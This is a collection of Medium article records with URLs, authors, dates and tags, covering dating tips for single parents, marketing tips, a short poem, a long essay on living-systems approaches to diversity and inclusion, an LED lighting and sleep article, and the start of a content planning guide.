Dating as a single parent can be fun. And it can lead to beautiful love and relationships. You just need to watch your step.
Wendy Miller is a Single Mom Coach & meditation teacher. She wants to help other single moms find the love & happiness they seek, including and going beyond romantic love. She lives in Florida with her two sons, where she homeschools while solo parenting, while surrounded by what feels like a zooful of animals.
You can follow her on Twitter, Instagram, Facebook, and Pinterest. You can also sign up for her newsletter for exclusive tips and goodies.
You might also enjoy: | https://wendymillermeditation.medium.com/the-dating-game-mistakes-every-single-mom-should-avoid-d249484b71f4 | ['Wendy Miller'] | 2020-10-24 13:47:59.834000+00:00 | ['Divorce', 'Relationships', 'Love', 'Dating', 'Self'] |
8 Tips for Marketing | Photo by Merakist on Unsplash
Before Going on I want to mention that most of this article I was able to write thanks to my colleague and friend, Head of Marketing Department of Fnet Sona Madoyan.
What is especially important marketing trends? When developing a marketing strategy, you always need to take into account the specifics of the industry; requirements, and specifics of potential buyers. In addition to all this, you always need to follow the news and a few important “marketing rules” that are relevant at all times.
So, what to do?
1. Be smart spending Marketing budget
Photo by Kelly Sikkema on Unsplash
Since the marketing budget is largely insufficient to take advantage of all the ways and means fo) implementation of marketing goals, it is very important not to focus the entire budget on one direction, but to diversify it. You need to choose the means and ways that are most effective and show results faster. And to evaluate the effectiveness of the chosen path or advertising tool, you can use the ROAS (Return on Ad Spend) indicator.
2. Create unique content
Photo by Will Francis on Unsplash
Focus your forces on content marketing and create original content, especially giving preference to video content.
As the famous marketer David Baba would say․
𝐂𝐨𝐧𝐭𝐞𝐧𝐭 𝐦𝐚𝐫𝐤𝐞𝐭𝐢𝐧𝐠 𝐢𝐬 𝐥𝐢𝐤𝐞 𝐚 𝐟𝐢𝐫𝐬𝐭 𝐝𝐚𝐭𝐞. 𝐈𝐟 𝐚𝐥𝐥 𝐲𝐨𝐮 𝐝𝐨 𝐢𝐬 𝐭𝐚𝐥𝐤 𝐚𝐛𝐨𝐮𝐭 𝐲𝐨𝐮𝐫𝐬𝐞𝐥𝐟, 𝐭𝐡𝐞𝐫𝐞 𝐰𝐨𝐧’𝐭 𝐛𝐞 𝐚 𝐬𝐞𝐜𝐨𝐧𝐝 𝐝𝐚𝐭𝐞.
3. Combine online and offline strategies
Photo by Campaign Creators on Unsplash
Even though the usage of digital platforms and being active in a digital environment are prioritized. You need to reach the audience in several ways and inform about your product/service. It is also important to use offline tools. And it is very important to properly and effectively combine online and offline marketing strategies: they must be long-lasting and additional.
4. Gamify the offer
Photo by JESHOOTS.COM on Unsplash
Another important trend to follow is Gamification. It is probably no secret that almost always interactive, critical, and useful content provides a wider audience. And because people like to compete with each other through games, it may provide more engagement.
5. Consider each generation
Photo by Jessica Lewis on Unsplash
Generation Z (as the digital generation is often called) is the youth that created and will continue to create demand. Therefore, except for specific goods and services, in all other cases, it is extremely important to follow generation Z, since marketing and product trends are built by this generation, and products (goods and services) must be formed in accordance with their expectations.
6. Find more partners
Photo by Paweł Czerwiński on Unsplash
Creating partnerships and relationships with companies in different areas can lead to synergy. By combining your audience with partners and other resources, joint marketing activities with lower costs can bring the greatest results.
7. Customize your offer
Photo by Mick Haupt on Unsplash
The offer of any product or service must be segmented and personalized on a behavioral basis. Try to make an offer in such a way that everyone who receives it is sure that this product or service is for them.
8. Direct all funds to promote sales
Photo by NordWood Themes on Unsplash
Despite the divergence in views and ideas, and structure of some companies, Marketing and Sales department are like brothers working towards the same goal. Sales is a part of Marketing, and Marketing is a component of Sales, and it is important to aim your marketing strategy at stimulating sales.
I’ll elaborate on the issues concerning marketing-sale relationships in other articles.
Thank you very much for reading this article, hope you’ve enjoyed it. Special thanks to Sona Madoyan, Head of Marketing Department of Fnet, for making this article possible.
If you have any questions feel free to ask it in comments or contact me directly via Facebook, Twitter, or LinkedIn. Stay safe and best luck! | https://uxplanet.org/8-tips-for-marketing-deb7eddac139 | ['Daniel Danielyan'] | 2020-08-24 16:14:50.441000+00:00 | ['Marketing', 'UX Research', 'Digital Marketing', 'Sales', 'Success'] |
The journey towards Home | The musings are limitless
Walking repeatedly on the same footsteps
Until they are inscribed
Deep into the ground
Might be tedious, yet, Worthy too
The halt often grab things
With the tendency of losing the direction
Yet, the goal remains clear
Despite the storms in Sea, Sand, and the Sky
You return to a single seek
Seek of ruins and peace
In the company you eventually fetched
During this long and tiring journey
That consumed your lifetime
In a single thought of returning Home. | https://medium.com/@ummesalma0717/the-journey-towards-home-435795e4d233 | ['Umme Salma'] | 2020-12-24 19:00:05.059000+00:00 | ['Poetry Writing', 'Home', 'Poetry On Medium', 'Journey', 'Poetry'] |
Diversity and Inclusion: A Living Systems Approach | Katherine Long evolutionod.com
Introduction
This is the first in a series of essays exploring the potential of living systems approaches to contribute to the wider mission of diversity and inclusion practice. Living systems approaches are not a recent invention, they have existed in various forms for millennia, but are being rediscovered and reclaimed today owing to their potential to shift entrenched patterns of thinking that keep creating results that nobody wants (Scharmer, 2007). Through eons of time, the living world has evolved millions of species of organisms which each have their own place within highly complex ecosystems, and there is an increasing movement amongst the fields of design, leadership and organization development, social entrepreneurship, healthcare and policy makers to explore how learning from nature helps us not only to solve some of the pressing issues of our day, but also how we live in more harmonious relationships with the planet and with each other.
In contrast to the extremes of the neo-Darwininan view that has legitimized a modern discourse of hyper-competition, living systems approaches recognise that whilst competition of course exists, that it is contained within a much greater pattern of hyper-collaboration that enhances the overall resilience of earth’s ecosystems. The damage humans are doing to the planet ironically reveals less about the competitive aspects of nature, but much more about its interdependencies and feedback loops. This essay explores an overarching question: ‘What might we learn about how Nature organizes herself that we could bring back into our human relationships?’ and attempts to suggest possibilities for D&I through identification of promising practices, as well as potential pitfalls.
Living in a world of superdiversity, and the limitations of machine model thinking
We live in an era of superdiversity, the so-called ‘diversification of diversity’ which was first described by Steven Vertovec in 2007 to explain the impact of global migration in creating many more categories of ethnic and cultural difference than had previously been commonly recognised (Lu, 2014). Coupled with a much greater understanding of the range of neuro-diverse expressions, and combined with rising awareness of non-binary gender fluidity and sexual orientation, as well as visible and non-visible disabilities, not to mention many other categories of difference, traditional metrics- driven approaches are found wanting when it comes to understanding the ever-growing complexity of intersectional identities in today’s world. First coined by Kimberle Crenshaw in 1989, intersectionality was used to describe the blind spots and accompanying injustices created when thinking in terms of single categories of difference, rather than considering their cumulative impact. Crenshaw cites the attempt of Emma De Graffenreid and several other black women to sue General Motors which, whilst offering employment to both black and female employees (black men were employed in manufacturing, whilst white women were employed in administrative work) was doubly discriminatory against black women, who ended up being employed in neither areas of the organisation. Sadly De Graffenreid lost her case as the judge felt it was unfair that she was claiming two categories of discrimination, when her white female or black male colleagues could only claim one. Today, we find that the field of D&I is itself highly intersectional, resisting any overarching discourse as it seeks to straddle numerous, context dependent factors.
‘You think that because you understand “one” that you must therefore understand “two” because one and one make two. But you forget that you must also understand “and”.’
- Sufi teaching story, quoted in Donella Meadow’s ‘Thinking in Systems’ (2008)
When it comes to engaging in today’s ever-diversifying world, we need to expand our ways of seeing, thinking, doing and being. In Kurt Lewin’s words ‘you cannot understand a system until you try to change it’ and D&I is certainly not an armchair exercise, and nor is it like fixing a bicycle! Whether as D&I experts or leaders or members of society, we all need to develop requisite skills for engaging with the ‘diversification of diversity’, enabling us to engage with rich trans-contextual tapestries, as though through compound eyes, rather than limit our focus on narrow, isolated metrics or competing identity politics. To this end, eco-systemic approaches are emerging as potential ways forward to addressing and enhancing diversity and inclusion, and are derived from the rich fount of living systems thinking which itself is a blend of environmental studies, indigenous wisdom traditions, embodiment practices, complexity theory, stage development, cybernetics and more, which collectively seek to bring principles from nature to human systems design and development. Simply put, Nature is capable of holding the most amazing array of diversity, and we have much to learn and apply to our own communities and organisations.
When applying a living systems lens, the limitations of the machine model of organisations (and of society) become increasingly apparent. Like the judge in De Graffenreid’s case, the machine model is essentially binary, and therefore represents a system that is inherently biased against diversity and inclusion. This is critical to our understanding of how organisational D&I functions may need to transform themselves along with the systems they are part of. Furthermore, redundancy is minimized (i.e. avoidance of duplication) in the name of efficiency, yet the machine model finds itself poorly equipped to adapt and evolve in step with external changes, because it lacks the requisite variety to do so. By aiming to be hyper-efficient, it cuts out diverse and seemingly extraneous pathways which might otherwise provide a back-up system when the organization comes under threat. Using the picture in the introduction as a metaphor, the machine model, represented by the barbed wire, is a largely static system, slowly weathering through time, unlike the living system of the tendril which through its growing tip can sense its surroundings and intuit new ways forward.
The machine vs living systems models are sometimes referred to as ‘Ego’ and ’Eco’ paradigms (Scharmer, Leonhard), with Ego denoting the classical hierarchical organization. Ego structures will default time and again to the same behavioural patterns when under pressure, regardless of D&I or other interventions. In the absence of a powerful external catalyst to effect profound adaptation (or collapse) they continue to replicate themselves ad infinitum. Such systems create conditions where the successful few are likely to continue to be successful (winners are more likely to keep on winning), which creates the corollary of an ongoing negative spiral for those less privileged that perpetuates increasing disparities, just as in a game of Monopoly, with the same predictable outcomes. Kate Raworth, in her seminal work ‘Doughnut Economics’, takes a deep look at the distortions of thinking which have resulted in boom and bust economies that have ultimately resulted in the climate crisis and the increasing social inequalities we face today. In challenging prevailing economic theory, which is essentially based on Newtonian physics, she presents instead living systems approaches that mimic cycles in nature and are regenerative by design. Raworth dissects classic economic theories such as the Kuznets Curve, which proposes that as countries get richer inequalities must rise before they eventually fall, as having no basis apart from its propensity to be a self-fulfilling prophecy that justify inequalities rather than designs for redistribution. These powerful yet fundamentally flawed patterns are in part maintained through beliefs regarding leadership, and we should not be surprised when organisations which base their leadership frameworks (and therefore reward structures) on models which have largely been created by white, Western males (in turn reinforced by business schools and academic research) find that they keep creating boards made up of white males. The so-called ‘Messiah’ discourse which rose to prominence through the 1980s and 90s (Western, 2013) favours competitiveness over collaboration, decisiveness over ability to hold ambiguity, personal authenticity over creating harmonisation with stakeholders and short-term results over long-term impact. And whilst the Messiah discourse has its own merits within certain constraints and when balanced with more archetypally feminine principles, just like an invasive species in nature, it crowds out all other forms of leadership by positioning itself as self-evidently ‘correct’, thereby creating a sterile environment where no other forms of leadership can genuinely flourish. Within such structures, D&I is doubly disadvantaged. By representing what is at risk of exclusion within such systems, D&I practitioners often end up becoming marginalized themselves and so get caught up in their own little backwaters within the organisation, losing their potential to make lasting change. In tandem, traditional D&I interventions have sought to develop greater diversity within leadership (i.e. better representation of minority groups at senior levels) even when the prevailing leadership discourse is essentially anti-diverse, rather than supporting regenerative leadership models where diversity and inclusion is of inherent value (Hutchins and Storm, 2019) or indeed to support greater diversity of leadership styles themselves. Yet we are increasingly experiencing the need for diverse expressions within organisations and beyond. Greta Thunberg describes her Asperger’s as her ‘superpower’ (Rourke, 2019), which has enabled her to speak truth to power without embarrassment, and to catalyse the global movement of ‘Fridays for the Future’, yet many organisations screen for high levels of conformity rather than welcome the neurodiversity which they might one day rely on.
So whilst it can be tempting to pin a lack of diversity on moral failings (which may also be a factor), what increasingly needs addressing is the overarching paradigm itself, and to re-imagine organisations which genuinely value diversity and inclusion as core to their purpose and to their strategy.
Emergent living systems paradigms
Emergent organisational forms which model post-conventional thinking, can be seen as a movement towards the ‘Eco’ paradigm, favouring self-organising, distributed leadership, digitally and socially enabled agility and fluidity, and lacking traditional hierarchical structures, where constituents play multiple roles, depending on the situation. The Eco paradigm naturally lends itself to being diverse and inclusive, as its core operating principles are predicated on there being a wide range of inputs and feedback loops. Whilst such organisations may include and transcend ‘Ego’ structures, like any system, they can also fall victim to their own hubris, in the absence of corrective action. Whilst seeking to maintain flat structures, they create conditions, paradoxically, where it can become challenging to call out unfair or exclusive practices, the so called ‘tyranny of structurelessness’ (Freeman, 1973), first used to describe concerns regarding the power dynamics in radical feminist collectives. ‘This apparent lack of structure too often disguised an informal, unacknowledged and unaccountable leadership that was all the more pernicious because its very existence was denied’ (Wainwright, 2006). We see this all too often in so-called leaderless movements (Western, 2014) where a lack of transparency in structures and decision-making ends up creating covert power dynamics, so that those falling through the intersectional cracks struggle yet again to have their voices heard. Unless we keep paying attention to deeply entrenched and widespread human biases, which are themselves products of history and deep conditioning, the chances are that we will simply create new, and more subtle patterns of inequality.
A third paradigm is also possible, one which follows the key principles of Eco, but which acknowledges human propensity to fall out of step with itself and with nature. The word ‘Seva’ is a Sanskrit word which means ‘selfless service’. The illustration above shows human beings in a humble relationship to the web of life, learning and serving. We see this modelled beautifully by indigenous peoples from all around the world, who over thousands of years have learnt a right relationship with Nature. Movements such as such as Flourishing Diversity (www.flourishingdiversity.com) and Wisdom Weavers (www.wisdomweavers.world) focus on bringing the wisdom of indigenous leaders to a global audience, drawing in diverse voices and individuals who have a deep and intimate understanding of the preservation of fragile ecosystems, not just abstract knowledge.
On a human level, Seva also acknowledges the long shadows of history, and the need to address the generational legacies of our inhumanity to one another — slavery, colonialism, genocide, war and ecological devastation. The restorative work requires regenerative leadership and regenerative communities alike. Just as forests which have been ravaged by drought or fire or felling take time to grow back to their full glory, so human communities take time for wounds to heal. This pattern is described by Dr. Joy DeGruy in her work ‘Post Traumatic Slave Syndrome’ (2005), which contrasts the experiences of Afro-Americans with Black Africans, and highlights ongoing patterns which are the legacy of chattel slavery. Eckhard Tolle refers to the collective trauma as the ‘pain body’ (I personally believe that the black and white painbodies in relation to slavery are qualitatively different, but inter-connected and part of a bigger pattern that needs addressing, though others may disagree), and many communities carry the ongoing memory of different types of trauma, which requires acknowledgment and healing, rather than denial nor a never-ending cycle of blame and remorse. Seva invites us to own what we represent in society, including our own shadows, without becoming defined and limited by them. Whilst Robin Di Angelo’s work ‘White Fragility’ scrutinises the patterns and behaviours associated with structural racism, in choosing to define all inter-racial interactions through this lens, perpetuates a discourse which forever holds individuals and groups within their racial identities as if that were their only significant defining feature, and upon which all future interactions are predicated. The wisdom of Seva is to recognize the limitations of singular perspectives in relation to diversity, understanding that we each bring complex and diverse life experiences to our interactions, and therefore to value what we can learn from each other and from Nature as we seek to honour and celebrate life, human and otherwise in all its different forms, and to co-create new ways forward.
Promising practices
Whilst living systems thinking in the context of diversity and inclusion is a relatively new phenomenon, there are several promising practices which are crystallising in this space, and which are being developed by a number of living systems practitioners.
1. The Law of Requisite Variety
Jennifer Campbell is host of a regular Systemic Leadership Summit (systemicleadershipsummit.com) and her work on systemic leadership in relation to diversity and inclusion highlights the need for organisations to address their diversity needs through the lens of requisite variety. Originating from cybernetics, the law of requisite variety posits that for a system to be successful it needs variety equal to or somewhat greater than the factors acting upon it. So depending on the mission, purpose and size of the organization it will have different requirements regarding its make-up. A national healthcare system which seeks to provide free and equal access to healthcare to all members of a population through integrated services must seek to model its mission through its leadership and culture by demonstrating that variety throughout the organization, and in its engagement with its stakeholders. In contrast, a small start-up may demonstrate a high degree of uniformity amongst its team initially, yet as it seeks to expand its products and services beyond a niche audience must also consider the levels of diversity which will help fulfil its mission and help it to reach new markets. This mirrors the evolution of natural ecosystems, where simple structures and narrower diversity increasingly make way for increased complexity and variation as the system matures. The value of this approach is that whilst based on living systems thinking (or more correctly on models of living systems), it also plays into the logics of many organisations looking to thrive and be successful in the world.
2. Co-learning and co-creation
A wide range of practices are emerging within this space, which build on and evolve pre- existing methodologies for harnessing collective intelligence. ‘Symmathesising’, a neologism coined by Nora Bateson (2016) describes “the process of contextual mutual learning through interaction.” and a symmathesy as “An entity forming over time by contextual mutual learning, through interaction. For example, an ecosystem at any scale, like a body, family, or forest is a symmathesy.”
Symmathesy principles combined with Warm Data Labs, a process for exploring the transcontextual nature of living systems via a range of lenses, has been applied powerfully in exploring a range of complex issues, from the refugee migrant crisis to the epidemic of drug addiction in the US and beyond. Bateson highlights the need for diverse perspectives to come together to support systems to see themselves through mutual learning processes over time, and in doing so to find ways forward that are unique to that ecosystem.
Like Warm Data Lab, Theory U (Scharmer, 2007) is a process that relies on diversity of inputs as critical to the generation of emergent ways forward within complex systems. It challenges the limitations of ‘downloading’ — i.e. applying previous best practice to problem solving, arguing that the conditions in which pre-existing solutions were developed have changed, and that it is by harnessing collective intelligence through deep sensing, listening and dialogue, drawing in somatic and symbolic ways of knowing that communities can co-create ways forward. The cultivation of ‘Open Mind’ ‘Open Heart’ and ‘Open Will’ supports three important portals for change, in order to see beyond our existing mental models, engage with empathy and compassion, and open up to the possibilities of the emerging future. Its relevance to D&I is that at one and the same time it supports ways of addressing issues of diversity and inclusion whilst also relying on them as inputs to the process through a core living systems philosophy that is based on addressing the ‘3 Divides’, namely the ecological divide, the social divide and the spiritual-cultural divide. Applications of Theory U are far-reaching and global, from pan-African leadership development straddling enormous diversity across the continent, to communities engaged in transforming capitalism.
DeGruy highlights six key ‘Principles of Improvement’ in Post Traumatic Slave Syndrome (2005, p193), which echoes symmathesy, Warm Data Lab and Theory U approaches , with an added emphasis on paying attention to changes in the system in order to more accurately amplify effective strategies. She lists her principles as such:
1. Make the work problem-specific and user-centered.
It starts with a simple question ‘What specifically is the problem we are trying to solve?’ It enlivens a co-development orientation: engage key participants early and often.
2. Variation in performance is the core problem to address.
The critical issue is not what works, but rather what works, for whom and under what set of conditions. Aim to advance efficacy reliably at scale. (emphasis mine)
3. See the system that produces the current outcomes.
It is hard to improve what you do not fully understand. Go see how local conditions shape work processes. Make your hypothesis for change public and clear.
4. We cannot improve at scale what we cannot measure.
Embed measures of key outcomes and process and track if change is an improvement. We intervene in complex organisations. Anticipate unintended consequences and measure these too.
5. Anchor practice improvement in disciplined inquiry.
Engage rapid cycles of plan, Do, Study, Act (PDSA) to learn fast, fail fast and improve quickly. That failures may occur is not a problem, that we fail to learn from them is.
6. Accelerate improvements through networked communities
Embrace the wisdom of crowds. We can accomplish more together than the best of us can accomplish alone.
3. Emergent discourses of regenerative leadership and regenerative culture
Alongside these promising practices is emerging a new understanding of regenerative leadership and regenerative culture in which diversity and inclusion are core values. Since the adoption of the United Nations sustainable development goals in 2015, and influenced by concepts such as circular economies, cradle to cradle design and the global rise of climate activism, we see a development of a new leadership paradigm which is inherently ecosystemic in outlook, holistic, and integrating both feminine and masculine principles. In ‘Regenerative Leadership’ (2019) Hutchins and Storm identify six strands of DNA in living systems culture, which are held within the double helix of leadership dynamics and life dynamics. They are:
1. Survival and thrival — attending to the legitimate needs of organisations to fulfil their needs for growth whilst acting in regenerative ways, and operating according to the principles of living systems seasons and cycles.
2. Mission and movement — ensuring that the organization is contributing to something bigger than itself, as part of a much larger ecosystem in which it plays its role.
3. Developmental and respectful — creating space for all to learn and grow in respectful ways, honouring the needs of self-renewal and regeneration.
4. Diversity and inclusion — valuing diverse backgrounds and perspectives as part of an inclusive and values-rich culture that gives rise to new possibilities.
5. Self-organising and locally attuning — to unlock resiliency and agility through self-organising principles, as opposed to constantly reverting to top-down leadership.
6. Ecosystemic facilitation and transformation — providing attentive care and understanding of the entire system in which the organization operates.
Regarding diversity and inclusion, this finds parallels with tensions existing in nature between divergence (a healthy expression of an ecosystem, or in an organisation, but which when over-played can result in chaos) and convergence (as expressed through shared values, purpose, behaviours and expectations, which when overplayed can create stifling systems). The tension between the two gives rise to emergence expressed in discovering new ways forward, and which chimes with the previous two promising practices of requisite variety and co-learning and co-creation.
Daniel Christian Wahl’s ‘Designing Regenerative Cultures’ (2016) takes a more inquiry-based approach to regenerative leadership, drawing the readers attention to critical questions for addressing issues within complex adaptive systems. In relation to the case of ongoing protests at Parkfield Primary School in Birmingham in the UK regarding plans to introduce its pupils to LGBT equality in the context of a high population of Muslim families (an example of competing minority interest which has been an ongoing story in the British press in 2019), Wahl’s questions (Designing Regenerative Cultures pp 88,89) are pertinent to D&I practitioners wishing to take a wider eco-systemic approach that attempts to support co-created, local solutions as opposed to getting locked into battles over competing rights;
• Have we defined our goals correctly? Are we trying to maximise isolated parameters or to optimise the whole system?
• Have we attempted a joined-up systems analysis by paying attention to dynamics rather than getting lost in static data?
• Are we avoiding a trap of creating irreversible emphasis?
• Are we paying enough attention to the potential side effects of actions?
• Are we carefully avoiding over-steering or over-reacting?
• Are we avoiding acting in an authoritarian way?
• How can we act with humility and future consciousness, applying foresight and transformative innovation in the face of unpredictability and uncontrollability of complex dynamic systems?
Addressing our biases
Whilst living systems thinking is celebratory of diversity and inclusion, seeing variety as a sign of thriving and a source of potential creativity, it’s important to be mindful of some of the mind traps we can fall into. Iain McGilchrist’s ‘Master and His Emissary’ highlights the way in which the dominance of left-brain reductive thinking in Western cultures has created an almost irreversible bias, and we need to continuously hold up the mirror to our own mental models. In Einstein’s words, ‘We cannot solve our problems with the same thinking we used to create them’ and we need to recognize the tendency for the old mechanistic mindset to seek to co-opt living systems thinking and distort it through its own lenses. Here are some of the biases which I observe can creep in:
· Magic pill bias
In a world where we have tended to reach out for quick fixes, it is tempting to present living systems thinking as a kind of magic pill. There is a risk that, like the paradigms which have gone before, that it ends up being presented as a failsafe solution to the challenges of life, rather than a way of engaging with life itself. It would be false to imagine that living systems thinking can simply leap-frog over the difficulties of previous eras through a new set of mental gymnastics, and yet our minds can try and convince us otherwise.
· Preferential bias
Similarly, when we fall in love with living systems thinking, it can, paradoxically, take us into a conceptual space as we seek to favourably contrast it (as in this article) with other paradigms, and emphasise its superiority to other positions which risks loss of compassion and empathy along the way, potentially just becoming another avenue for the privileged and powerful to maintain their position, as opposed to expressing living systems principles in action in a way that redistributes power, amplifies and integrates voices of the marginalized and seeks to benefit the whole system. True living systems thinking includes and transcends pre-existing paradigms as integral parts of the wider ecosystem.
· Anthropomorphic bias
We are conditioned to think of nature in anthropomorphic terms which risk perpetuating unhelpful ways of thinking. We refer to the ‘lion’s share’, or the ‘king of the jungle’ which reinforces an idea that some members of the animal kingdom are naturally more superior or desirable than others, which can translate into dangerous ideas about superior races, or meritocracy based on narrowly defined criteria. In reality, all life is inter-dependent and interconnected, and one day the lion’s body will be consumed by all manner of other creatures — hyenas, vultures, crows, flies, worms, bacteria and break down into organic and inorganic material which will be recycled once again. There is no real ‘top’ or ‘bottom’ in nature, and indeed the most vulnerable species are the ones at the ‘top’ of food chains.
Contrast the interrelationships and micro-niches of a natural forest with the sterile conditions of a plantation.
· Quantitative bias
When faced with so much complexity, it is easy to resort to a metrics-driven approach, which whilst providing useful data for monitoring impact as DeGruy advocates, without careful interpretation can lead to faulty decision-making. Bateson states that ‘Evolution emerges in inter-relationality, not in arrangement.’ Sadly, organisations do not magically become more diverse and inclusive by suddenly choosing to employ minority representatives at levels of senior leadership unless they also invest in creating new relational networks and pathways for communication and collaboration. A parallel in nature is the contrast between forest plantations, whilst technically counting as ‘reforesting’ but do little to support real bio-diversity, in contrast to naturally occurring woodlands which have sophisticated underground mycorrhizal networks enabling communication, transfer of nutrients, and which are capable of storing collective memories which protect the forest against future drought and disease. Unless we are actively creating opportunities for participation and enrichment through enhanced inclusion, then all we are creating is the human parallel to a plantation, and we all know what happens to those trees in the end.
· Simplification bias
Living systems thinking provides powerful metaphors which support our understanding of phenomenon such as collective intelligence and self-organising principles. Yet the oft-used parallels with starling murmurations and slime moulds are limited if we fail to integrate a complex understanding of human psychology and stage development theories! Approaches such as Human Systems Dynamics, Spiral Dynamics and other theories of human change are useful here, but with the with the accompanying health warning that they themselves are products of specific times and places and contexts.
· Reductive bias
Our preponderance to think in terms of either-or, true or false distort our capacity to hold the complexity and emergence which are defining features of living systems thinking. And when old patterns of leadership are brought to climate change and ecological issues, the risk is that the same levels of thinking which created the problems in the first place are perpetuated. In ‘An Open Letter to Extinction Rebellion’ (May, 2019) the group Wretched of the Earth (co-signed by 47 other groups) challenged approaches to addressing climate change that ignore historical reasons why there are uninhabitable parts of the earth in the first place, arguing that social justice and climate change rightly go hand in hand as interdependent issues. Social cohesion and social justice need to be both precursors and outcomes of environmental initiatives for changes to be sustainable and for a virtuous cycle to be established.
Final thoughts
‘The wind got up in the night and took our plans away.’
Chinese proverb, quoted in John Berger’s ‘Hold everything dear’
Buckminster Fuller once said “You never change things by fighting the existing reality. To change something, build a new model that makes the existing model obsolete.” This poses a challenge to traditional D&I endeavours, which have largely been focused on addressing the limitations and weaknesses of the current system, and necessarily so. Our understanding of equality, diversity and inclusion owes a huge debt to the countless individuals and communities all around the world who have struggled and campaigned and highlighted the profound injustices and disparities within our systems past and present. Yet the challenge remains to consider what else might be transformed through the creation of new paradigms which see diversity and inclusion, not as niche concerns, but as a core, shared set of values essential to our common survival and thrival.
The new model is most likely a journey, rather than a destination, as we anticipate ever-greater political and social disruptions in the years to come as the inevitable ramifications of climate change take hold in our communities. Our capacity to develop what the Buddhist teacher Thich Nhat Hanh calls ‘inter-being’, experiencing and cherishing our profound interconnectedness with each other and with all of life will be pivotal to finding new ways forward, learning together, in the face of the storms to come.
References
Bateson, N. (2016) Small Arcs of Larger Circles Charmouth: Triarchy Press
Bateson, N. (2017) The era of emergency relocation: a transcontextual perspective. Fokus på familien (Vol 45) 2017
Crenshaw, K. (1989) Demarginalizing the intersection of race and sex: a Black feminist critique of antidiscrimination doctrine, feminist theory and antiracist politics. University of Chicago Legal Forum
De Gruy, J. (2005) Post traumatic slave syndrome: America’s legacy on enduring injury and healing Randall Publications
Di Angelo, R. (2018) White fragility: why it’s so hard for white people to talk about racism. Boston: Beacon Press
Freeman, J. (1973). The Tyranny of Structurelessness. Ms. Magazine 1973
Halliday, J. (2019) Ministers accused of ‘radio silence’ over LGBT school protests Guardian 20th September 2019
Hutchins, G. and Storm, L. (2019) Regenerative leadership: the DNA of life-affirming 21st century organisations. Wordzworth
Leonhard, G. (2014). US Report Projects High Toll on Economy from Global Warming (via the NYT): Ego-to-Eco shift is finally happening?. [online] Futuristgerd.com. Available at: https://www.futuristgerd.com/2014/06/bipartisan-report-tallies-high-toll-on-economy-from-global-warming-a-good-read-shared-by-gerd/ [Accessed 24 sept. 2019].
Lu, L. (2014) Recognise superdiversity in Singapore to overcome stereotyping. Today Online [online] Available at: https://www.todayonline.com/daily-focus/education/recognise-superdiversity-spore-overcome-stereotyping [Accessed 24.09.19]
McGilchrist, I. (2012) The master and his emissary: the divided brain and the making of the western world. London: Yale University Press
Raworth, K. (2018). Doughnut Economics. London: Random House Business Books
Rourke, A. (2019). Greta Thunberg responds to Asperger’s critics: It’s a superpower. Guardian 2nd September 2019
Scharmer, O. (2009) Theory U: leading from the future as it emerges. San Francisco: Berrett Koehler
Tolle, E. (2002) Living the liberated life and dealing with the pain-body. (audiobook) Sounds True
Wahl, D, C. (2016) Designing regenerative cultures. Axminster: Triarchy Press
Wainwright, H. (2006) Imagine there’s no leaders [online] https://zcomm.org/znetarticle/imagine-theres-no-leaders-by-hilary-wainwright/ [accessed 24 Sept. 19]
Western, S. (2013). Leadership: a critical text. London: Sage Publications Ltd.
Western, S. (2014) Autonomist leadership in leaderless movements: anarchists leading the way. Ephemera Journal Vol.14 (4) 2014 pp673–698
Wretched of the Earth. (2019) An open letter to Extinction Rebellion [online] https://www.redpepper.org.uk/an-open-letter-to-extinction-rebellion/ [accessed 24 Sept. 2019]
Katherine Long is a ecosystemic change practitioner, coach, facilitator, writer and educator.
[email protected]
Twitter @evolutionorgdev | https://mail-63028.medium.com/diversity-and-inclusion-a-living-systems-approach-51554187bf87 | ['Katherine Long'] | 2020-12-06 11:58:02.931000+00:00 | ['Leadership'] |
Daily Meditation | Daily Meditation
There’s no limit to the amount of money you can make if you refuse to burden yourself with principles. | https://medium.com/@denisesheltonwrites/daily-meditation-e5ed18e9d044 | ['Denise Shelton'] | 2020-12-22 12:45:00.876000+00:00 | ['Short Story', 'Money', 'Principles', 'Thoughts', 'Short Read'] |
Exciting New Advancements in LED Technology May Help You Sleep Better! | LED lights are the most sought-after lighting option in these modern times whether they are required for residential or commercial purposes. They are cost-effective, durable, easy to maintain, energy efficient, and most importantly are environmentally friendly. LED lights have been an impressive upgrade in technology as compared to its predecessors such as incandescent lights, fluorescent lights, and CFL lights.
Human ingenuity has always strived to keep on improving their laurels. There have been a great many changes introduced in the lighting systems some of which we will discuss below:
Control Systems:
Light switches will soon come to be associated with the term past. Scientific progress in the field of LED lighting is now working to introduce new methods of connectivity. We have already seen light dimmers and sensors work wonders and now through the introduction of control systems, your LED lights can be connected through your devices which directly impacts energy efficiency and sleep or wake times.
Internet of Things:
IOT means the utilization of the internet to operate physical devices. A simple internet connection can now be applied to operate your everyday LED lights.
Durability and Design:
LEDs are extremely long lasting which help designers create new designs which can be used to fit perfectly into the built-in spaces as designed by architects making them as much part of the structures as walls, ceilings, and floors.
Li-Fi
Li-Fi is like Wi-Fi but for a lighting system. Application of sensors can now track movement through devices. The furtherment of this technology will only transform every aspect of our lives.
There is no escaping light anywhere or anytime. Scientists have now proved that light is equally important for human health as are vitamins or proteins. Our brains rely on light from the sun to stay awake or sleep. Artificial light can cause confusion in our brains to understand the same sequence as compared to natural light. This has led scientists to develop methods where artificial lights can be as similar as possible to natural lights.
Let’s take a look into how advancing LED technology can help you sleep better:
Smart LED light fixtures
Our brain is aware of whether is day time or night time. This is the basic concept for smart light fixtures as they are designed to be aware of time and change their light intensity on their own. This system can be a very suitable option for residential LED lighting.
Light Blending light fixtures
Scientists are working to develop LED lights which can mimic natural lights as close as possible. Simply explained these lights are a combination of blue and green spectrums of light which do not affect our internal chemistry.
Specific LED lights:
LEDs are nowadays designed specifically to be used during day time or night time aimed not to affect our circadian cycle. Several brands have introduced a wide range of bulbs specifically for day and night time. For example, a great option to select an ideal LED ceiling light can be the Good Night Bulb by Lighting Science.
Light variations:
LEDs are now available in various colors. By choosing a warmer tempered color which produces less blue light wavelengths can help one fall asleep. | https://medium.com/@lisapotter285/exciting-new-advancements-in-led-technology-may-help-you-sleep-better-ce427f58f4cd | ['Lisa Potter'] | 2019-07-01 07:57:04.982000+00:00 | ['Led Ceiling Lights', 'Lighting', 'Led Lighting', 'Residentail Lighting'] |
The ULTIMATE Content Planning Guide: A Step-By-Step to Successful Media Campaigns | via Canva.com
So, you’re the person responsible for planning the year’s media campaigns after a global pandemic, slashed budgets, new social platform dominance, and just about everything in the lives of your target audience has changed — awesome! You’re in a position of huge opportunity.
